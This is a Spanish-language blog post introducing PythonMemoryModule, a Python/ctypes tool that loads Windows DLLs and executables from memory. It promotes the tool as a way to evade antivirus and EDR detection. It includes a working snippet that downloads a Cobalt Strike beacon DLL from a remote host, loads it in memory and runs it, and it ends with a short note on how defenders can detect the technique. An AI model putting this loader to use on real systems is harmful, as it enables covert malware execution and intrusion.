PythonMemoryModule: implementación en python/ctypes para cargar una dll/exe en memoria

MemoryModule es una vieja herramienta desarrollada por Joachim Bauch que permite cargar y ejecutar módulos de Windows directamente desde la memoria en tiempo de ejecución en lugar de cargarlos desde el disco. Su técnica se basa en la capacidad de Windows de ejecutar código desde una sección de memoria que ha sido asignada como ejecutable.

La ventaja de esta técnica es que permite cargar módulos de forma dinámica y sin tener que escribirlos en el disco, lo que puede ser útil en ciertos casos, como cuando se desea ocultar el código malicioso de la detección por parte un EDR... ejem ejem... Además, al no cargar desde el disco, se puede evitar que se generen rastros en el filesystem o registros del sistema. claro claro...
 
Pues hoy y gracias al italiano naksyn traemos una implementación de esta técnica con Python utilizando la librería ctypes, ya sabéis, la que permite acceder a librerías compartidas escritas en lenguajes de programación como C, C++, entre otros, desde Python, cargando .pyd compilados en lugar de dlls externas, y apoyándose en pefile para analizar las cabeceras del ejecutable.

La herramienta llamada PythonMemoryModule (qué original en el nombre) se pensó en principio para usarla como un módulo de Pyramid para proporcionar evasión contra AV/EDR mediante la carga de payloads dll/exe en python.exe completamente desde la memoria; sin embargo, son posibles otros casos de uso (protección de IP, carga en memoria de pyds, spin-offs para otras técnicas más sigilosas), etc. 

Además, utilizar un lenguaje interpretado como Python nos aporta ventajas adicionales:

  • permite la carga de una dll desde un búfer de memoria utilizando el binario python.exe firmado sin necesidad de colocar en el disco código/bibliotecas externas (como enlaces de pymemorymodule) que pueden ser detectados por un AV/EDR o pueden despertar la sospecha del usuario.
  • no requiere meter el código en el loader ya que con Python se puede cargar de forma dinámica y en memoria
  • podemos cargar un payload stageless sin realizar una inyección o ejecutar un shellcode. El proceso de carga imita la API LoadLibrary sin llamarla...

Veamos un ejemplo de uso, por ejemplo la descarga de una dll de beacon stageless de Cobalt Strike (no se guarda en el disco), se carga en la memoria y se inicia llamando al entrypoint:

import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()

Nota: si usamos staging en nuestro malleable profile, la dll no podrá cargarse con LoadLibrary, por lo tanto, MemoryModule no funcionará.

¿Y cómo pueden detectar esta técnica los azulones? MemoryModule respetará principalmente los permisos de las secciones de la DLL de destino y evitará el enfoque RWX ruidoso. Sin embargo, dentro de la memoria del programa habrá un private commit no respaldado por una dll en disco y esto podría generar un indicador.

Proyecto: https://github.com/naksyn/PythonMemoryModule

Comentarios